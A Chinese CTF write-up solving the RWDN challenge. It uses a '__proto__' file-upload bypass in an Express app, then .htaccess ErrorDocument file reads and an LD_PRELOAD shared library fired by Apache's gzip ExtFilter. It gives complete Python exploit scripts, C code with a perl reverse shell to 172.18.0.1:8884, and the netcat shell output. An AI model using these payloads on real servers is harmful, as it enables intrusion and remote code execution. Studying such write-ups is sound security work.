前情提要
RWDN dockerfile 这份 dockerfile 是从 出题人 手中拿到的 和现实的题目 稍微有点有差距的地方
使用 sudo docker compose up
等待镜像制作完成就会自动启动了
题目会部署在 127.0.0.1 31337 和 31338 两个端口 和正式比赛的情况 没有区别
拿到题目
source 审计
先查看 HTML 源码 很快就能看到注释中写的
<body>
<!-- /source -->
很显然是提示我们去访问 /source 目录
curl 看一下 是 js 源码 这里顺手存到 source 文件里
注意: 源文件无注释 我这里为了提示也是为了分析题目 所以这里部分需要注意的地方 我添加了注释
$ curl 127.0.0.1:31337/source | tee code.js
const express = require('express');
const fileUpload = require('express-fileupload');
const md5 = require('md5');
const { v4: uuidv4 } = require('uuid');
const check = require('./check'); // 这里引入了 check 不知道是什么 但是是自定义的
const app = express();
const PORT = 8000;
app.set('views', __dirname + '/views');
app.set('view engine', 'ejs');
app.use(fileUpload({
useTempFiles : true,
tempFileDir : '/tmp/',
createParentPath : true
}));
app.use('/upload',check()); // 这里调用了 check 应该是 在 ./check 的一个函数
// 看到 这里用到了下面用到了 获取源码的方法
app.get('/source', function(req, res) {
if (req.query.checkin){ // 让 checkin == 1
res.sendfile('/src/check.js'); // 这里我们可以猜测之前 check 的意思 应该就是这个文件
// 因此接下来我们要请求拿一下 check.js 但是不急 我们接着看
}
res.sendfile('/src/server.js'); // 就是我们当前的文件
});
// 我们的根目录 生成了一个 formid
app.get('/', function(req, res) {
var formid = "form-" + uuidv4();
res.render('index', {formid : formid} );
});
// 这里是上传点 一般这里大家都会警觉
app.post('/upload', function(req, res) {
let sampleFile;
let uploadPath;
let userdir;
let userfile;
// 样本文件 获取 用的是 req.query.formid 注意可以是数字 不一定是 字符串
sampleFile = req.files[req.query.formid];
// 这里处理 文件 hash 用的 md5 分别计算了 文件 hash 和 上传者的地址
// node 会获取 ::ffff:{ipv4} 作为你的 ip 地址
userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5);
userfile = sampleFile.name.toString();
// 文件名就是 name 字段 不是 filename 字段 正常情况是 你的 formid
if(userfile.includes('/')||userfile.includes('..')){
return res.status(500).send("Invalid file name");
}
// 上传到的地址 注意这里是绝对地址
uploadPath = '/uploads/' + userdir + '/' + userfile;
sampleFile.mv(uploadPath, function(err) {
if (err) {
return res.status(500).send(err);
}
// 这里提到了第二个端口
// 这里也说明了 上传的文件你可以在这个地址访问到
// 文件上传 getshell 基本都要用到 这个地址访问 然后让服务器执行
res.send('File uploaded to http://47.243.75.225:31338/' + userdir + '/' + userfile);
});
});
app.listen(PORT, function() {
console.log('Express server listening on port ', PORT);
});
check 审计
接下来 看看我们的 check.js
$ curl 127.0.0.1:31337/source?checkin=1 | tee check.js
module.exports = () => {
return (req, res, next) => {
if ( !req.query.formid || !req.files || Object.keys(req.files).length === 0) {
// 确认你有上传
res.status(400).send('Something error.');
return;
}
// 对每个文件的 key 进行检查 (其实这里有个例外 __proto__ 是个例外)
Object.keys(req.files).forEach(function(key){
var filename = req.files[key].name.toLowerCase();
var position = filename.lastIndexOf('.');
if (position == -1) {
return next();
} // 如果没有 . 就下一个文件 这里其实也有个 bypass 点位 也就是上传两个文件 用第一个 无后缀的安全文件 bypass
var ext = filename.substr(position);
var allowexts = ['.jpg','.png','.jpeg','.html','.js','.xhtml','.txt','.realworld'];
if ( !allowexts.includes(ext) ){ // 确认安全文件名后缀
res.status(400).send('Something error.');
return;
}
return next(); // 所有检查完毕后 就 返回下一个文件
});
};
};
看一眼 31338 端口
这里可以看一眼 31338 端口 然后 curl 一下
$ curl 127.0.0.1:31338 -v
* Trying 127.0.0.1:31338...
* Connected to 127.0.0.1 (127.0.0.1) port 31338 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:31338
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 27 Jan 2022 15:48:27 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Last-Modified: Thu, 20 Jan 2022 09:18:15 GMT
< ETag: "31-5d5fffb6aa3c0"
< Accept-Ranges: bytes
< Content-Length: 49
< Content-Type: text/html
<
* Connection #0 to host 127.0.0.1 left intact
Welcome to my CDN! Execute /readflag to get flag.
这里就是个 普通 apache 而上面的两个 则是 Express
思路和利用
既然上传这里 有问题 那么就试试上传 看看能不能弄到点什么
很显然 getshell 的任何 php pl 脚本代码都是不能成功利用的 就是个 简简单单的 纯纯的 Apache 服务器
第一部分
既然是 apache 目标, 自然 .htaccess apache.conf 这种配置文件 很显然就变成了我们的目标
你或许以为直接 cgi script 进行一把梭就完事了 很显然 这里服务器 默认是没有开启的 (因为他是 docker 而且几乎是默认的 apache )
既然是 Apache 那么翻翻 apache 文档
ErrorDocument
知识点 1 ErrorDocument 错误文档 可以看到 context 运行上下文的中存在 .htaccess
可以这样利用
ErrorDocument 404 %{file:/etc/apache2/apache2.conf}
保存为 .htaccess 然后传上去
无用的知识点 ErrorLog 也能执行命令 但是很显然 上下文环境阻止了你 这里其实可以拿来出题 哈哈哈
同样
都具有 pipe 形式
滥用 htaccess 以及其中一些模块的方法 https://github.com/wireghoul/htshells
额外找到了一些 相关的利用方法
SetEnv LD_PERLOAD
https://www.freebuf.com/articles/web/192052.html
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
上传文件
这里直接贴代码
import requests
import hashlib
target_ip = "127.0.0.1"
target_render_port = 31338
target_upload_port = 31337
upload_file = ".htaccess"
normal_file = "a.txt"
request_sender_ip = "172.18.0.1"
request_ip = "::ffff:{}".format(request_sender_ip)
# 这里是为了好看 跟踪一下请求
def print_request(response):
print("request form")
print("=========================================================")
print(response.request.method, response.request.url)
for header_key in response.request.headers.keys():
print("{}: {}".format(header_key, response.request.headers[header_key]))
body = response.request.body
if body == None:
print("")
else:
print( body.decode())
print("=========================================================")
def print_response(response):
print("response form")
print("=========================================================")
print(response.status_code, response.url)
for header_key in response.headers.keys():
print("{}: {}".format(header_key, response.headers[header_key]))
print("")
print(response.text)
print("=========================================================")
def md5(string):
return hashlib.md5(string.encode()).hexdigest()
# 计算上传点
def calc_upload_path(upload_file, form_id ): # form_id 是无用的 无所谓传什么
"""
# 对应的 js 代码
userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5);
userfile = sampleFile.name.toString();
if(userfile.includes('/')||userfile.includes('..')){
return res.status(500).send("Invalid file name");
}
uploadPath = '/uploads/' + userdir + '/' + userfile;
"""
file_md5 = hashlib.md5(open(upload_file,'rb').read()).hexdigest()
userdir = md5(md5(request_ip)+file_md5)
userfile = form_id # 这里其实无用
# upload_path = '/uploads/' + userdir + '/' + userfile # the realworld ctf Env
upload_path = '/' + userdir + '/'
return upload_path
def main():
## STEP 1 get formid if you need
uplaod_url1 = "http://{}:{}/".format(target_ip, target_upload_port)
r = requests.get(uplaod_url1)
form_id = r.text.split("action='")[1].split("'")[0]
real_form_id = form_id.split('/upload?formid=')[1]
print("you should use this id: ",real_form_id)
## STEP 2 upload error file
# 方法 1 多文件上传绕过
"""
# real_form_id = upload_file
upload_url2 = "http://{}:{}/upload?formid={}".format(target_ip,target_upload_port,real_form_id)
upload_file_id = real_form_id
files = {
real_form_id : open(normal_file,'r'),
real_form_id : open(upload_file,'r'),
}
# need uplaod 2 same name file as bad request
# 可以这么发包 塞入两个文件 但是很显然 这里前一个文件会被后一个文件盖掉
# 倒是强行可以通过 自己定义写多部分 来进行上传 但是代码复用度不好
# 所以你会发现 你最后只上传了一个文件
"""
# 方法 2 proto 大魔法
upload_url2 = "http://{}:{}/upload?formid={}".format(target_ip,target_upload_port,"1")
files = {
"__proto__": open(upload_file,"r"),
"decoy":("decoy","random"),
}
"""
原理参照一个小哥 在 discord 中发的内容: 如下
the __proto__ file is not checked because Object.keys does not include properties from the prototype,
but since the prototype is now an array we can use formid=1 to access that file again in the upload function
"""
r2 = requests.post(upload_url2,files=files)
print_request(r2)
print_response(r2)
## STEP 3 get the response
access_path = "http://{}:{}".format(target_ip,target_render_port) + \
calc_upload_path(upload_file,real_form_id) + "NonExistFile"
# 强行 在这个目录下 404
r3 = requests.get(access_path)
print_request(r3)
print_response(r3)
## 如果这里你的 .htaccess 文件 成功上传了 就会在这里 拿到 你 .htaccess 文件 ErrorDocument 指向的文件
if __name__ == '__main__':
main()
第二部分
apache2.conf审计
文件很长 可以直接拉到最后 看
# This is the main Apache server configuration file. It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.
# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
# /etc/apache2/
# |-- apache2.conf
# | `-- ports.conf
# |-- mods-enabled
# | |-- *.load
# | `-- *.conf
# |-- conf-enabled
# | `-- *.conf
# `-- sites-enabled
# `-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
# together by including all remaining configuration files when starting up the
# web server.
#
# * ports.conf is always included from the main configuration file. It is
# supposed to determine listening ports for incoming connections which can be
# customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
# directories contain particular configuration snippets which manage modules,
# global configuration fragments, or virtual host configurations,
# respectively.
#
# They are activated by symlinking available configuration files from their
# respective *-available/ counterparts. These should be managed by using our
# helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
# their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
# the default configuration, apache2 needs to be started/stopped with
# /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
# work with the default configuration.
# Global configuration
#
#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE! If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"
#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default
#
# The directory where shm and other runtime files will be stored.
#
DefaultRuntimeDir ${APACHE_RUN_DIR}
#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}
#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300
#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On
#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100
#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5
# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off
# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here. If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log
# 这种地方是改写不了变量的 或许需要一些我没发现的魔法
#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn
# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf
# Include list of ports to listen on
Include ports.conf
# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
Options FollowSymLinks
AllowOverride ALL
Require all denied
</Directory>
<Directory /usr/share>
AllowOverride ALL
Require all granted
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride ALL
Require all granted
</Directory>
#<Directory /srv/>
# Options Indexes FollowSymLinks
# AllowOverride None
# Require all granted
#</Directory>
# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives. See also the AllowOverride
# directive.
#
AccessFileName .htaccess
#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
Require all denied
</FilesMatch>
#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.
ExtFilterDefine gzip mode=output cmd=/bin/gzip
# 这个比较有东西哦 可以看到有命令执行了那么套用类似 PHP Mail bypass disable func 的思路进行利用
# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf
# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
htaccess 滥用 挂载 LD_PERLOAD
// save as perload.c
// 编译 gcc perload.c -fPIC -shared -o 1.so
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void) // 构建 预执行属性
{
const char* cmdline = "perl -e 'use Socket;$i=\"172.18.0.1\";$p=8884;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"bash -i\");};'";
// const char* cmdline = "perl /tmp/r3.pl > /tmp/r3pwn"
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
system(cmdline);
}
接下来上 python 利用
import requests
import hashlib
target_ip = "127.0.0.1"
target_upload_port = 31337
upload_file = ".htaccess"
target_render_port = 31338
request_sender_ip = "172.18.0.1"
request_ip = "::ffff:{}".format(request_sender_ip)
# 还是 为了好看
def print_request(response):
print("request form")
print("=========================================================")
print(response.request.method, response.request.url)
for header_key in response.request.headers.keys():
print("{}: {}".format(header_key, response.request.headers[header_key]))
body = response.request.body
if body == None:
print("")
else:
print( body )
print("=========================================================")
def print_response(response):
print("response form")
print("=========================================================")
print(response.status_code, response.url)
for header_key in response.headers.keys():
print("{}: {}".format(header_key, response.headers[header_key]))
print("")
print(response.text)
print("=========================================================")
def md5(string):
return hashlib.md5(string.encode()).hexdigest()
# 计算上传路径
def calc_upload_path(upload_file, form_id ):
"""
userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5);
userfile = sampleFile.name.toString();
if(userfile.includes('/')||userfile.includes('..')){
return res.status(500).send("Invalid file name");
}
uploadPath = '/uploads/' + userdir + '/' + userfile;
"""
file_md5 = hashlib.md5(open(upload_file,'rb').read()).hexdigest()
userdir = md5(md5(request_ip)+file_md5)
userfile = form_id
# upload_path = '/uploads/' + userdir + '/' + userfile # the realworld ctf Env
upload_path = '/' + userdir + '/'
return upload_path
def main():
## STEP 4 upload error
# 上传 1.so
sofile_path = uplaod_file("1.so")
code = """SetEnv LD_PRELOAD "/var/www/html{}1.so"
SetOutputFilter gzip
ErrorDocument 403 /etc/apache2/apache2.conf
""".format(sofile_path)
# 启用 gzip 过滤器 执行命令
# 生成 htaccess
htaccess_file_gen(code)
# 输出 这里为了 debug
print("sofile_path: ",sofile_path)
# 上传 htaccess
htaccess_path = uplaod_file(".htaccess")
print("htaccess_path: ",htaccess_path)
print("getshell exec with curl http://{}:{}".format(target_ip,target_render_port)+htaccess_path)
# 生成代码
def htaccess_file_gen(code):
with open(".htaccess","w") as f:
f.write(code)
print("gen successfully")
# 上传文件 利用方法是上面 提到的
def uplaod_file(filename):
uplaod_url1 = "http://{}:{}/".format(target_ip, target_upload_port)
r = requests.get(uplaod_url1)
form_id = r.text.split("action='")[1].split("'")[0]
real_form_id = form_id.split('/upload?formid=')[1]
print("you should use this id: ",real_form_id)
upload_url2 = "http://{}:{}/upload?formid={}".format(target_ip,target_upload_port,"1")
files = {
"__proto__": open(filename,"rb"),
"decoy":("decoy","random"),
}
r2 = requests.post(upload_url2,files=files)
print_request(r2)
print_response(r2)
form_id = real_form_id
return calc_upload_path(filename,form_id)
if __name__ == '__main__':
main()
最后运行结果的 拿到 .htaccess 文件对应的地址 一个 curl 打过去就有了
当然记得起 netcat 的监听
最后 Getshell readflag
直接执行一个 readflag 的计算
└─$ nc -lvvp 8884
listening on [any] 8884 ...
172.18.0.3: inverse host lookup failed: Unknown host
connect to [172.18.0.1] from (UNKNOWN) [172.18.0.3] 54924
bash: cannot set terminal process group (31): Inappropriate ioctl for device
bash: no job control in this shell
www-data@a17ac98d17ba:/$ ls -al
ls -al
total 100
drwxr-xr-x 1 root root 4096 Jan 27 07:28 .
drwxr-xr-x 1 root root 4096 Jan 27 07:28 ..
-rwxr-xr-x 1 root root 0 Jan 27 07:28 .dockerenv
drwxr-xr-x 2 root root 4096 Jan 5 19:29 bin
drwxr-xr-x 2 root root 4096 Apr 24 2018 boot
drwxr-xr-x 5 root root 340 Jan 27 07:28 dev
drwxr-xr-x 1 root root 4096 Jan 27 07:28 etc
-r-x------ 1 root root 39 Jan 20 09:19 flag
drwxr-xr-x 2 root root 4096 Apr 24 2018 home
drwxr-xr-x 1 root root 4096 May 23 2017 lib
drwxr-xr-x 2 root root 4096 Jan 5 19:29 lib64
drwxr-xr-x 2 root root 4096 Jan 5 19:27 media
drwxr-xr-x 2 root root 4096 Jan 5 19:27 mnt
drwxr-xr-x 2 root root 4096 Jan 5 19:27 opt
dr-xr-xr-x 334 root root 0 Jan 27 07:28 proc
-r-sr-xr-x 1 root root 13144 Jan 20 09:16 readflag
drwx------ 1 root root 4096 Jan 27 07:44 root
drwxr-xr-x 1 root root 4096 Jan 27 07:28 run
drwxr-xr-x 2 root root 4096 Jan 5 19:29 sbin
drwxr-xr-x 2 root root 4096 Jan 5 19:27 srv
dr-xr-xr-x 13 root root 0 Jan 27 07:28 sys
drwxrwxrwt 1 root root 4096 Jan 27 07:28 tmp
drwxr-xr-x 1 root root 4096 Jan 5 19:27 usr
drwxr-xr-x 1 root root 4096 Jan 27 07:28 var
www-data@a17ac98d17ba:/$ readflag
readflag
bash: readflag: command not found
www-data@a17ac98d17ba:/$ ./readflag
./readflag
Solve the easy challenge first
(((((-854089)-(772258))+(5324))+(474988))-(-472881))
input your answer: -673154
ok! here is your flag!!
rwctf{cd81450983c06bcb4438dfb8de45ec04}
www-data@a17ac98d17ba:/$
Wrap up
总体思路与知识点
- 代码审计
- proto 利用 | 发现双文件上传 bypass
- 利用 htaccess 越界读 获取 一些敏感配置文件
- 利用 htaccess 和 一些错误配置 RCE